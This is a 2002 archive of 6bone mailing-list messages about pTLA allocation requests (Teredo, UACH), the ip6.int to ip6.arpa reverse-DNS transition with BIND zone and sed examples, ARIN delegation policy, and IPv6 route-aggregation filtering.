I believe that Teredo, as a transition mechanism candidate for standards 
track, is a good candidate for a 6bone prefix for testing/experimentation. 
I also believe that, like all other 3FFE::/16 address space users, it must 
be prepared to stop using this address space when the community decides to 
terminate 3FFE::/16 usage in general.


Bob

===
>Subject: Prefix for Teredo
>Date: Tue, 23 Jul 2002 18:04:11 -0700
>From: "Christian Huitema" <huitema@windows.microsoft.com>
>To: "Bob Fink" <fink@es.net>
>
>Bob,
>
>I am currently rewriting the Teredo draft to make it more IESG-friendly.
>To experiment with the new design, we will need a "reasonable" IPv6
>prefix. In the original draft, I requested a /16, but that is perhaps
>not realistic; in practice, I believe I could do with a /32. Is it
>possible to get an experimental /32 prefix from the 6BONE allocation?
-end


From narten@us.ibm.com Thu Jul 25 07:42:27 2002
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To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@mailman.isi.edu>,
   Christian Huitema <huitema@microsoft.com>
Subject: Re: [6bone] pTLA for Teredo testing - review closes 7 August 2002 
In-Reply-To: Message from  "Thu, 25 Jul 2002 07:23:05 PDT." <5.1.0.14.0.20020725070943.021999d8@imap2.es.net> 
Date: Thu, 25 Jul 2002 10:41:11 -0400
From: Thomas Narten <narten@us.ibm.com>
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> In the pTLA review announcement the requesting email from Christian (see 
> below) was included. It states an experimental /32.

Oops, I didn't see that part of the mail. Thanks.

> I believe that Teredo, as a transition mechanism candidate for standards 
> track, is a good candidate for a 6bone prefix for testing/experimentation. 
> I also believe that, like all other 3FFE::/16 address space users, it must 
> be prepared to stop using this address space when the community decides to 
> terminate 3FFE::/16 usage in general.

This seems like a different kind of experiment then just providing basic
IPv6 connectivity (which is what pTLAs are normally assigned
for). Thus, it would be good to understand how/when *this* particular
experiment ends, as opposed to just the generic "it must end when all
of the 3FEE::/16 experimentation ends.

Thomas

From michel@arneill-py.sacramento.ca.us Thu Jul 25 08:17:46 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Thomas Narten" <narten@us.ibm.com>, "Bob Fink" <fink@es.net>
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6boner,

> Bob Fink wrote:
> Christian Huitema has requested a pTLA allocation for
> Teredo ("Tunneling IPv6 over UDP through NATs") service.
> I believe this request should be reviewed and discussed
> for approval.

I am favorable to allocating a 6bone /32 for Teredo testing.


> Thomas Narten wrote:
> This seems like a different kind of experiment then just
> providing basic IPv6 connectivity (which is what pTLAs are
> normally assigned for). Thus, it would be good to understand
> how/when *this* particular experiment ends, as opposed to
> just the generic "it must end when all of the 3FEE::/16
> experimentation ends.

I also agree with Thomas. As a matter of fact, I think that "special
purpose" (read, not pTLAs in the conventional use) 6bone assignments
should be renewed regularly.

I will be requesting a 6bone testing block soon myself, my idea was a
block renewed every year or every other year. The sunset of an
experiment should be either when there has been enough experience
acquired through the 6bone to request a block from IANA, or when the
experiment has stopped.

Michel.


From noc@ENTERZONE.NET Thu Jul 25 08:57:43 2002
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Date: Thu, 25 Jul 2002 11:57:25 -0400 (EDT)
From: John Fraizer <tvo@ENTERZONE.NET>
To: Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
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On Thu, 25 Jul 2002, Gino Francisco Alania Hurtado wrote:

> The rule podria to be segun your version DNS that you use, I use bind 
> 9,2 and this she is for the inverse one:
> 
> zone  "xxx.xxx.xxx.in-addr.arpa" {
>         type master;
>         file  "xxx.xxx.xxx.in-addr.arpa.zone";
> 
> 

That sure looks like an IPv4 in-addr.arpa zone to me.

I think we're going to wind up with something like this:

zone "0.f.4.0.1.0.0.2.ip6.int" {
        type master;
        file "ipv6/0.f.4.0.1.0.0.2.ip6.int";
};

zone "0.f.4.0.1.0.0.2.ip6.arpa" {
        type master;
        file "ipv6/0.f.4.0.1.0.0.2.ip6.arpa";
};



I'm just wondering folks.  Since we have perfectly good ip6.int, why do we
even WANT/NEED ip6.arpa?

Also, I didn't quite follow Kims example but, does anyone have a tool that
can be used to generate one zone type from another?  Note: I ALSO use
$ORIGIN lines in my zone files.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From bmanning@ISI.EDU Thu Jul 25 09:02:40 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
In-Reply-To: <Pine.LNX.4.21.0207251152170.25795-100000@Overkill.EnterZone.Net> from John Fraizer at "Jul 25, 2 11:57:25 am"
To: tvo@ENTERZONE.NET (John Fraizer)
Date: Thu, 25 Jul 2002 09:02:21 -0700 (PDT)
Cc: galania@ipv6.inictel.gob.pe, 6bone@ISI.EDU
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% I'm just wondering folks.  Since we have perfectly good ip6.int, why do we
% even WANT/NEED ip6.arpa?

	It was a strictly political play that did not need to happen.

--bill

From richardj@arin.net Thu Jul 25 09:19:55 2002
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Reply-To: <richardj@arin.net>
From: "Richard Jimmerson" <richardj@arin.net>
To: <6bone@mailman.isi.edu>
Date: Thu, 25 Jul 2002 12:19:20 -0400
Organization: ARIN
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Subject: [6bone] Reverse Delegations for ARIN IPv6 Registrations
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When ARIN begin allocating IPv6 address space in 1999, reverse
delegations were being made under the ip6.int domain. Since that
time, the ip6.arpa domain was established, and ARIN began the
process of transitioning reverse DNS for IPv6 address space from
the ip6.int to ip6.arpa on a request basis. In December 2001,
existing registrants were contacted about this matter, and
several delegations were added to ARIN's ip6.arpa sub-domain.
At that time, we decided against replicating all the ip6.int
delegations in ip6.arpa as default behavior to prevent lame
delegations.

Sufficient time has passed to allow registrants the opportunity
to make this transition. There has also been some confusion about
when delegations are made in ip6.arpa as opposed to ip6.int.
Therefore, beginning today, ARIN will begin making the appropriate
delegations for its IPv6 address space registrations in both
domains.

We hope this clarifies the situation, and we would be happy to
address any concerns this might raise.

Best Regards,

Richard Jimmerson
Director of Operations
American Registry for Internet Numbers (ARIN) 


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Date: Thu, 25 Jul 2002 11:30:42 -0500
From: "Todd T. Fries" <todd@FRIES.NET>
To: John Fraizer <tvo@ENTERZONE.NET>
Cc: Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe>, 6bone@ISI.EDU
Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
Message-ID: <20020725163042.GA31310@fries.net>
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You want ip6.arpa because at some point in the future ip6.int is going away and
ip6.arpa will be active (in reverse order, though).

Something very basic like:

  sed 's/ip6.int/ip6.arpa/g' zone.ip6.int > zone.ip6.arpa

Should work fine.

Probably not for everyone, but here is my solution:

 http://todd.fries.net/dns/fries/

Files of interest:

	Makefile (generate output, verify, update)
	*.m4     (m4 source files)
	ip6.inc.m4 (contains my reverse subnets and EUID's)
        3ffe:b00:4004.arpa.m4 (ip6.arpa specifics)
        3ffe:b00:4004.int.m4  (ip6.int specifics)

General concept:

	I use m4 to expand the addresses of all my euid's
	across all my subnets when generating both ip6.int
	and ip6.arpa zones.  (yes, it generates not small
	zones, but I got tired of laptops and other devices
	that shift subnets having to update dns for each shift).

I know that freenet6 (aka viagenie) where I have my tunnel does
not delegate ip6.arpa yet, but I am ready for when they do!

Most likely some of you will not be happy with my choice to
do this:

todd:27$ host 3ffe:b00:4004::1
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.4.0.0.4.0.0.b.0.e.f.f.3.ip6.int is an alias for 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.4.0.0.4.0.0.b.0.e.f.f.3.pt.fries.net.
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.4.0.0.4.0.0.b.0.e.f.f.3.pt.fries.net domain name pointer shadow.fries.net.
todd:28$

But it ends up allowing forward and reverse in the same zone, which I
like for my own reasons (forced consistency among them).
-- 
Todd Fries .. todd@fries.net

(last updated $ToddFries: signature.p,v 1.2 2002/03/19 15:10:18 todd Exp $)

Penned by John Fraizer on Thu, Jul 25, 2002 at 11:57:25AM -0400, we have:
| 
| 
| On Thu, 25 Jul 2002, Gino Francisco Alania Hurtado wrote:
| 
| > The rule podria to be segun your version DNS that you use, I use bind 
| > 9,2 and this she is for the inverse one:
| > 
| > zone  "xxx.xxx.xxx.in-addr.arpa" {
| >         type master;
| >         file  "xxx.xxx.xxx.in-addr.arpa.zone";
| > 
| > 
| 
| That sure looks like an IPv4 in-addr.arpa zone to me.
| 
| I think we're going to wind up with something like this:
| 
| zone "0.f.4.0.1.0.0.2.ip6.int" {
|         type master;
|         file "ipv6/0.f.4.0.1.0.0.2.ip6.int";
| };
| 
| zone "0.f.4.0.1.0.0.2.ip6.arpa" {
|         type master;
|         file "ipv6/0.f.4.0.1.0.0.2.ip6.arpa";
| };
| 
| 
| 
| I'm just wondering folks.  Since we have perfectly good ip6.int, why do we
| even WANT/NEED ip6.arpa?
| 
| Also, I didn't quite follow Kims example but, does anyone have a tool that
| can be used to generate one zone type from another?  Note: I ALSO use
| $ORIGIN lines in my zone files.
| 
| 
| 
| ---
| John Fraizer              | High-Security Datacenter Services |
| EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
| http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
| 
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From kim@tac.nyc.ny.us Thu Jul 25 09:44:17 2002
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To: John Fraizer <tvo@ENTERZONE.NET>
Cc: Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe>, 6bone@ISI.EDU
Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
In-Reply-To: <Pine.LNX.4.21.0207251152170.25795-100000@Overkill.EnterZone.Net>
 from John Fraizer on Thu, 25 Jul 2002 11:57:25 -0400
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X-Attribution: Kim
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From: Kimmo Suominen <kim@tac.nyc.ny.us>
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The example just runs sed on the files, storing the results in a separate
file.  It looks a bit complex because I was using BSD-make to derive the
name of the generated (sed output) file from the original (replacing all
colons with underscores).

Basically I just do

    sed -e 's/\.ip6\.arpa/.ip6.int/g' x.x.x.ip6.arpa > x.x.x.ip6.int

for each x.x.x that I have.

Regards,
+ Kim


| From:    John Fraizer <tvo@ENTERZONE.NET>
| Date:    Thu, 25 Jul 2002 11:57:25 -0400
|
|
|
| On Thu, 25 Jul 2002, Gino Francisco Alania Hurtado wrote:
|
| > The rule podria to be segun your version DNS that you use, I use bind
| > 9,2 and this she is for the inverse one:
| >
| > zone  "xxx.xxx.xxx.in-addr.arpa" {
| >         type master;
| >         file  "xxx.xxx.xxx.in-addr.arpa.zone";
| >
| >
|
| That sure looks like an IPv4 in-addr.arpa zone to me.
|
| I think we're going to wind up with something like this:
|
| zone "0.f.4.0.1.0.0.2.ip6.int" {
|         type master;
|         file "ipv6/0.f.4.0.1.0.0.2.ip6.int";
| };
|
| zone "0.f.4.0.1.0.0.2.ip6.arpa" {
|         type master;
|         file "ipv6/0.f.4.0.1.0.0.2.ip6.arpa";
| };
|
|
|
| I'm just wondering folks.  Since we have perfectly good ip6.int, why do we
| even WANT/NEED ip6.arpa?
|
| Also, I didn't quite follow Kims example but, does anyone have a tool that
| can be used to generate one zone type from another?  Note: I ALSO use
| $ORIGIN lines in my zone files.
|
|
|
| ---
| John Fraizer              | High-Security Datacenter Services |
| EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
| http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |
|
|
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|

From narten@us.ibm.com Thu Jul 25 10:04:21 2002
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To: "Christian Huitema" <huitema@windows.microsoft.com>
cc: "Bob Fink" <fink@es.net>, "6BONE List" <6bone@mailman.isi.edu>
Subject: Re: [6bone] pTLA for Teredo testing - review closes 7 August 2002 
In-Reply-To: Message from  "Thu, 25 Jul 2002 09:16:01 PDT." <F66A04C29AD9034A8205949AD0C90104032707C0@win-msg-02.wingroup.windeploy.ntdev.microsoft.com> 
Date: Thu, 25 Jul 2002 13:03:05 -0400
From: Thomas Narten <narten@us.ibm.com>
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Hi Christian.

> We would like to start by experimentation, as in beta software, and I
> would rather not use an illegal prefix. Obviously, hardcoding is always
> a bad idea. In fact, using a "perishable" prefix would fit the bill for
> Teredo, which is expected to be a perishable short term fix.

I don't quite follow what you are saying. Are you expecting Teredo to
be perishable in the sense that after a fixed amount of time (say 1
year), it will no longer be needed and the allocation can be returned?
Or is this a more open-ended "when IPv6 is widely deployed, teredo
won't be needed anymore because everyone will be using native IPv6
techniques"? (which doesn't have a predictable end date.)

I'd like to understand if there is a clear timetable for when the
experiment ends and if there is a definitie way to end the experiment
once it starts.

Thomas

From tvo@EnterZone.Net Thu Jul 25 10:04:50 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Kimmo Suominen <kim@tac.nyc.ny.us>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] ip6.int or ip6.arpa or BOTH?
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On Thu, 25 Jul 2002, Kimmo Suominen wrote:

> The example just runs sed on the files, storing the results in a separate
> file.  It looks a bit complex because I was using BSD-make to derive the
> name of the generated (sed output) file from the original (replacing all
> colons with underscores).
> 
> Basically I just do
> 
>     sed -e 's/\.ip6\.arpa/.ip6.int/g' x.x.x.ip6.arpa > x.x.x.ip6.int
> 
> for each x.x.x that I have.
> 
> Regards,
> + Kim


Cool beans.  We're all set now with dual zones.  Now we just wait for the
ip6.arpa zone to update.  I got a phone call from Richard Jimmerson @ ARIN
this morning.  I about fell out of my chair.  He called to assure me that
we would be added to the ip6.arpa and apologise for the confusion.  I
assured him that the v6 allocation has gone much smoother than our v4
stuff to date.

Anyway, thanks for all of the help folks.  I just want to make sure we're
doing this right!


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From jeroen@unfix.org Thu Jul 25 10:11:04 2002
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To: "'John Fraizer'" <tvo@ENTERZONE.NET>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] ip6.int or ip6.arpa or BOTH?
Date: Thu, 25 Jul 2002 19:10:06 +0200
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John Fraizer wrote:

> zone "0.f.4.0.1.0.0.2.ip6.int" {
>         type master;
>         file "ipv6/0.f.4.0.1.0.0.2.ip6.int";
> };
> 
> zone "0.f.4.0.1.0.0.2.ip6.arpa" {
>         type master;
>         file "ipv6/0.f.4.0.1.0.0.2.ip6.arpa";
> };
<SNIP>
> Also, I didn't quite follow Kims example but, does anyone 
> have a tool that
> can be used to generate one zone type from another?  Note: I ALSO use
$ORIGIN lines in my zone files.

I played unfair and removed the ORIGIN's, then again I do reverses for
myself per /64.
One could consider using database generation ;)
Easiest way out for everyone is prolly:

cat ipv6/0.f.4.0.1.0.0.2.ip6.int | sed "s/ip6\.int/ip6\.arpa/g"

And don't forget trailing dots ;)

Greets,
 Jeroen



From tony@lava.net Thu Jul 25 12:29:41 2002
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Date: Thu, 25 Jul 2002 09:29:37 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Richard Jimmerson <richardj@arin.net>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] Reverse Delegations for ARIN IPv6 Registrations
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On Thu, 25 Jul 2002, Richard Jimmerson wrote:

> Sufficient time has passed to allow registrants the opportunity
> to make this transition. There has also been some confusion about
> when delegations are made in ip6.arpa as opposed to ip6.int.
> Therefore, beginning today, ARIN will begin making the appropriate
> delegations for its IPv6 address space registrations in both
> domains.
>
> We hope this clarifies the situation, and we would be happy to
> address any concerns this might raise.

This applies only to 2001 prefixes assigned from ARIN but not 6bone (3ffe)
space?


From richardj@arin.net Thu Jul 25 14:09:44 2002
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From: "Richard Jimmerson" <richardj@arin.net>
To: "'Antonio Querubin'" <tony@lava.net>
Cc: <6bone@mailman.isi.edu>
Subject: RE: [6bone] Reverse Delegations for ARIN IPv6 Registrations
Date: Thu, 25 Jul 2002 17:08:35 -0400
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Hello Antonio,

> > Therefore, beginning today, ARIN will begin making the appropriate
> > delegations for its IPv6 address space registrations in both
> > domains.

> This applies only to 2001 prefixes assigned from ARIN but not 
> 6bone (3ffe) space?

Yes.  The message below only applies to 2001 prefixes assigned
by ARIN.

Best Regards,

Richard Jimmerson
Director of Operations
American Registry for Internet Numbers (ARIN) 

> -----Original Message-----
> From: Antonio Querubin [mailto:tony@lava.net] 
> Sent: Thursday, July 25, 2002 3:30 PM
> To: Richard Jimmerson
> Cc: 6bone@mailman.isi.edu
> Subject: Re: [6bone] Reverse Delegations for ARIN IPv6 Registrations
> 
> 
> On Thu, 25 Jul 2002, Richard Jimmerson wrote:
> 
> > Sufficient time has passed to allow registrants the opportunity
> > to make this transition. There has also been some confusion about
> > when delegations are made in ip6.arpa as opposed to ip6.int.
> > Therefore, beginning today, ARIN will begin making the appropriate
> > delegations for its IPv6 address space registrations in both
> > domains.
> >
> > We hope this clarifies the situation, and we would be happy to
> > address any concerns this might raise.
> 
> This applies only to 2001 prefixes assigned from ARIN but not 
> 6bone (3ffe)
> space?
> 


From fink@es.net Thu Jul 25 19:13:02 2002
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Date: Thu, 25 Jul 2002 19:12:47 -0700
To: <richardj@arin.net>, "'Antonio Querubin'" <tony@lava.net>
From: Bob Fink <fink@es.net>
Subject: RE: [6bone] Reverse Delegations for ARIN IPv6 Registrations
Cc: <6bone@mailman.isi.edu>
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At 05:08 PM 7/25/2002 -0400, Richard Jimmerson wrote:
>Hello Antonio,
>
> > > Therefore, beginning today, ARIN will begin making the appropriate
> > > delegations for its IPv6 address space registrations in both
> > > domains.
>
> > This applies only to 2001 prefixes assigned from ARIN but not
> > 6bone (3ffe) space?
>
>Yes.  The message below only applies to 2001 prefixes assigned
>by ARIN.

There are also talks underway with the RIRs about bringing the 6bone 
registry into the RIR fold so to speak, one part of which would provide 
reverse registry for the 3FFE prefixes as well. I talked about this at the 
Yokohama IETF last week, but haven't had the time to circulate the draft to 
the list yet as I just got back from Japan.

Stay tuned to the 6bone list.


Bob


From michel@arneill-py.sacramento.ca.us Thu Jul 25 21:58:05 2002
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Subject: RE: [6bone] Summer cleanup time for IPv6 aggregation!
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> Jeroen Massar wrote:
> Boo,

Nice try, but I'm not scared.

> Okay, let's take a looky at this nice long filthy list of
> today (07/24/02 6Bone Routing Report).

I just wanted to publicly state my support to Jeroen's efforts to keep
our collective routing table clean. It does take some special individual
to put his nose in the crap to figure out if it really stinks.

And, at the risk of being percept as the one seeing the incarnation of
evil all over the place again, I will take the opportunity to remind
those of who that have reached a reasonable amount of maturity:

- What we are seeing here are futile attempts to dissimulate the fact
that we still don't have a multihoming solution for v6. As I mentioned
many times before, each attempt to break PA aggregation diminishes the
chances of a correct v6 mh solution.

- We will not have the "clean start" IPv6 opportunity again for a long
time (unless you believe in IPv8 ;-)

Kudos to Jeroen.

Michel.


From pekkas@netcore.fi Thu Jul 25 22:23:17 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Bob Fink <fink@es.net>
cc: 6BONE List <6bone@mailman.isi.edu>,
   "Christian Lazo R." <clazo@inf.uach.cl>
Subject: Re: [6bone] pTLA request UACH - review closes 7 August 2002
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Should uach.cl not inf.uach.cl be the "official" applier?

The AS number of the applicant has been hijacked:

Search results for: 45333 


       Internet Assigned Numbers Authority
        (ASN-IANA-RSVD-ASNBLOCK)
          Information Sciences Institute
          University of Southern California
          4676 Admiralty Way, Suite 330
          Marina del Rey, CA 90292-6695
          US

          Autonomous System Name: IANA-RSVD
          Autonomous System Block: 32768 - 64511

          Coordinator:
             Internet Corporation for Assigned Names and Numbers  (IANA-ARIN)  res-ip@iana.org
             (310) 823-9358

          Record last updated on 14-Oct-1999.
          Database last updated on  25-Jul-2002 20:00:35 EDT.

On Wed, 24 Jul 2002, Bob Fink wrote:

> 6bone Folk,
> 
> UACH has requested a pTLA allocation and I find their request fully 
> compliant with RFC2772. The open review period for this will close 7 August 
> 2002. Please send your comments to me or the list.
> 
> <http://whois.6bone.net/cgi-bin/whois?UACH>
> 
> <http://ipv6.inf.uach.cl/>
> 
> 
> Also note that UACH has permission to use REUNA's ASN (AS11340) for 6bone 
> pTLA purposes.
> 
> 
> Thanks,
> 
> Bob
> 
> ===
> >From: "Christian Lazo R." <clazo@inf.uach.cl>
> >To: <fink@es.net>
> >Subject: request for pTLA
> >Date: Mon, 24 Jun 2002 12:12:29 -0700
> >
> >Hello,
> >
> >As a SPTLA, I'm very much interested to be a PTLA.
> >
> >Therefore I'm sending my application in the order that you require:
> >
> >   1. The pTLA Applicant must have a minimum of three (3) months
> >       qualifying experience as a 6Bone end-site or pNLA transit.   During
> >       the entire qualifying period the Applicant must be operationally
> >       providing the following:
> >
> >      I have esperience from june 2001
> >
> >
> >       a. Fully maintained, up to date, 6Bone Registry entries for their
> >          ipv6-site inet6num, mntner, and person objects, including each
> >          tunnel that the Applicant has.
> >ipv6-site:    UACH
> >origin:       AS45333
> >descr:        Universidad Austral de Chile
> >               Instituto de Informatica
> >country:      CL
> >prefix:       3FFE:8070:100C::/48
> >application:  ping routerv6.ipv6.cl
> >tunnel:       IPv6 in IPv4 routerv6.inf.uach.cl -> 
> >ipv6-gw.compendium.com.ar COMPENDIUM-AR BGP4+
> >tunnel:       IPv6 in IPv4 routerv6.inf.uach.cl -> 
> >unam-ipv6-1.ipv6.unam.mx UNAM BGP4+
> >tunnel:       IPv6 in IPv4 routerv6.inf.uach.cl -> gwipv6.ipv6.itesm.mx 
> >ITESM BGP4+
> >tunnel:       IPv6 in IPv4 routerv6.inf.uach.cl -> gw6.nic.mx NIC-MX BGP4+
> >contact:      CLR1-6BONE
> >url:          http://ipv6.inf.uach.cl/
> >notify:       clazo@inf.uach.cl
> >mnt-by:       MNT-UACH
> >changed:      clazo@inf.uach.cl 20010626
> >changed:      clazo@inf.uach.cl 20010629
> >changed:      clazo@inf.uach.cl 20020618
> >source:       6BONE
> >
> >
> >       b. Fully maintained, and reliable, BGP4+ peering and connectivity
> >          between the Applicant's boundary router and the appropriate
> >          connection point into the 6Bone. This router must be IPv6
> >          pingable. This criteria is judged by members of the 6Bone
> >          Operations Group at the time of the Applicant's pTLA request.
> >
> >
> >
> >
> >
> >    c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
> >          entries for the Applicant's router(s) and at least one host
> >          system.
> >
> >[clazo@antillanca clazo]$ dig www.ipv6.cl
> >
> >; <<>> DiG 8.2 <<>> www.ipv6.cl
> >;; res options: init recurs defnam dnsrch
> >;; got answer:
> >;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4
> >;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 4
> >;; QUERY SECTION:
> >;;      www.ipv6.cl, type = A, class = IN
> >
> >;; ANSWER SECTION:
> >www.ipv6.cl.            14h41m4s IN A   146.83.248.3
> >
> >;; AUTHORITY SECTION:
> >ipv6.cl.                14h41m4s IN NS  ns.ipv6.cl.
> >ipv6.cl.                14h41m4s IN NS  secundario.nic.cl.
> >
> >;; ADDITIONAL SECTION:
> >ns.ipv6.cl.             10h51m50s IN A  146.83.248.2
> >ns.ipv6.cl.             14h23m6s IN AAAA  3ffe:8070:100c:2c01::a
> >secundario.nic.cl.      11h7m54s IN A   216.72.164.136
> >secundario.nic.cl.      11h7m54s IN A   200.27.126.131
> >
> >;; Total query time: 6 msec
> >;; FROM: antillanca.inf.uach.cl to SERVER: default -- 146.83.216.201
> >;; WHEN: Mon Jun 17 21:25:35 2002
> >;; MSG SIZE  sent: 29  rcvd: 174
> >
> >
> >       d. A fully maintained, and reliable, IPv6-accessible system
> >          providing, at a mimimum, one or more web pages, describing the
> >          Applicant's IPv6 services.  This server must be IPv6 pingable.
> >
> >www.ipv6.cl
> >
> >
> >
> >    2. The pTLA Applicant MUST have the ability and intent to provide
> >       "production-quality" 6Bone backbone service. Applicants must
> >       provide a statement and information in support of this claim.
> >       This MUST include the following:
> >
> >       a. A support staff of two persons minimum, three preferable, with
> >          person attributes registered for each in the ipv6-site object
> >          for the pTLA applicant.
> >
> >
> >
> >
> >
> >       b. A common mailbox for support contact purposes that all support
> >          staff have acess to, pointed to with a notify attribute in the
> >          ipv6-site object for the pTLA Applicant.
> >
> >ipv6@inf.uach.cl
> >
> >
> >    3. The pTLA Applicant MUST have a potential "user community" that
> >       would be served by its becoming a pTLA, e.g., the Applicant is a
> >       major provider of Internet service in a region, country, or focus
> >       of interest. Applicant must provide a statement and information in
> >       support this claim.
> >
> >The potential group that we are available to give this service is the 
> >following:
> >
> >All the chilean universities counting with Internet and interested in 
> >working with ipv6.
> >
> >There are also some other big Chileans firms such as Internet Service 
> >Provider
> >
> >Nowadays, we are working with other Latin American universities in order 
> >to grow up the interest to use IPv6
> >
> >As you can see, our purpose is to become the IPv6 in Chile.
> >
> >    4. The pTLA Applicant MUST commit to abide by the current 6Bone
> >       operational rules and policies as they exist at time of its
> >       application, and agree to abide by future 6Bone backbone
> >       operational rules and policies as they evolve by consensus of the
> >       6Bone backbone and user community.
> >
> >    When an Applicant seeks to receive a pTLA allocation, it will apply
> >    to the 6Bone Operations Group (see section 8 below) by providing to
> >    the Group information in support of its claims that it meets the
> >    criteria above.
> >
> >     8. 6Bone Operations Group
> >
> >    The 6Bone Operations Group is the group in charge of monitoring and
> >    policing adherence to the current rules. Membership in the 6Bone
> >    Operations Group is mandatory for, and restricted to, sites connected
> >    to the 6Bone.
> >
> >    The 6Bone Operations Group is currently defined by those members of
> >    the existing 6Bone mailing list who represent sites participating in
> >    the 6Bone. Therefore it is incumbent on relevant site contacts to
> >    join the 6Bone mailing list. Instructions on how to join the list are
> >    maintained on the 6Bone web site at < http://www.6bone.net>.
> >
> >
> >greeting
> >
> >(sorry , but my Inglish is very bad)
> >
> >Christian
> >________________
> >Christian Lazo R.
> >Instituto de Informatica
> >fono 56-63-221812
> >Fac Cs de la Ingenieria
> >Universidad Austral de Chile
> 
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From jeroen@unfix.org Fri Jul 26 03:14:41 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <6bone@ISI.EDU>
Subject: RE: [6bone] Summer cleanup time for IPv6 aggregation!
Date: Fri, 26 Jul 2002 12:12:28 +0200
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Michel Py [mailto:michel@arneill-py.sacramento.ca.us] wrote:

> > Jeroen Massar wrote:
> > Boo,
> 
> Nice try, but I'm not scared.
Everybody is used to it I think ;)

> > Okay, let's take a looky at this nice long filthy list of
> > today (07/24/02 6Bone Routing Report).
<SNIP>
> - We will not have the "clean start" IPv6 opportunity again for a long
> time (unless you believe in IPv8 ;-)
Fortunatly everything is archived all over the world so that the
people/companies doing the wrongs now will have to live with it forever
when they don't clean it up and it all goes sour...

http://www.merit.edu/mail.archives/html/6bone-routing-report/

And ofcourse Gert Doerings work:
http://www.space.net/~gert/RIPE/

And as mentioned a couple of times already by various people:
3ffe::/18 ge 24 le 24
3ffe:4000::/18 ge 32 le 32
3ffe:8000::/20 ge 28 le 28
2000::/3 ge 16 le 16
2001::/16 ge 29 le 35
2002::/16 ge 16 le 48

or as seen on 6bone.net:
3ffe:0000::/24 thru 3ffe:3f00::/24	/24
3ffe:4000::/32 thru 3ffe:7fff::/32	/32
3ffe:8000::/24 thru 3ffe:83f0::/24	/28

3ffe:8400::/32 thru 3ffe:ffff::/32 can be filtered
out completely as it will be unassigned for a long time to come.

RIR space (2001::/16) will become /32 only in the long run.

As for the "where does it really come from" question:
http://dmoz.org/Computers/Internet/Protocols/IP/IPng/IPv6_Route_Views/

Lot's of viewpoints ;)

Greets,
 Jeroen


From rohan.pandit@wipro.com Fri Jul 26 06:15:10 2002
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From: "Rohan P Pandit" <rohan.pandit@wipro.com>
To: "6Bone" <6bone@mailman.isi.edu>
Date: Fri, 26 Jul 2002 18:56:37 +0530
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Subject: [6bone] request to become an End-site ...
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This is a multi-part message in MIME format.

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hello all ...

I am interested in becoming an end-site of the existing pTLAs. I have gone
through
the information on the 6bone.net site and contacted Viagenie. But did not
receive
any reply from them. I would like to know what I need to do from my side and
may
be what the pTLA will do for me so that i can get connection to 6bone.

Please help !

thanx in advance.

Regards,
Rohan.

------=_NextPart_000_0017_01C234D6.2B770020
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4807.2300" name=3DGENERATOR></HEAD>
<BODY bgColor=3D#ffffff>
<DIV><SPAN class=3D642562113-26072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2>hello all ...</FONT></SPAN></DIV>
<DIV><SPAN class=3D642562113-26072002><FONT face=3DVerdana =
color=3D#0000ff=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D642562113-26072002><FONT face=3DVerdana =
color=3D#0000ff size=3D2>I am=20
interested in becoming an end-site of the existing pTLAs. =
</FONT></SPAN><SPAN=20
class=3D642562113-26072002><FONT face=3DVerdana color=3D#0000ff =
size=3D2>I have gone=20
through </FONT></SPAN></DIV>
<DIV><SPAN class=3D642562113-26072002><FONT face=3DVerdana =
color=3D#0000ff size=3D2>the=20
information </FONT></SPAN><SPAN class=3D642562113-26072002><FONT =
face=3DVerdana=20
color=3D#0000ff size=3D2>on the 6bone.net site&nbsp;and contacted <SPAN=20
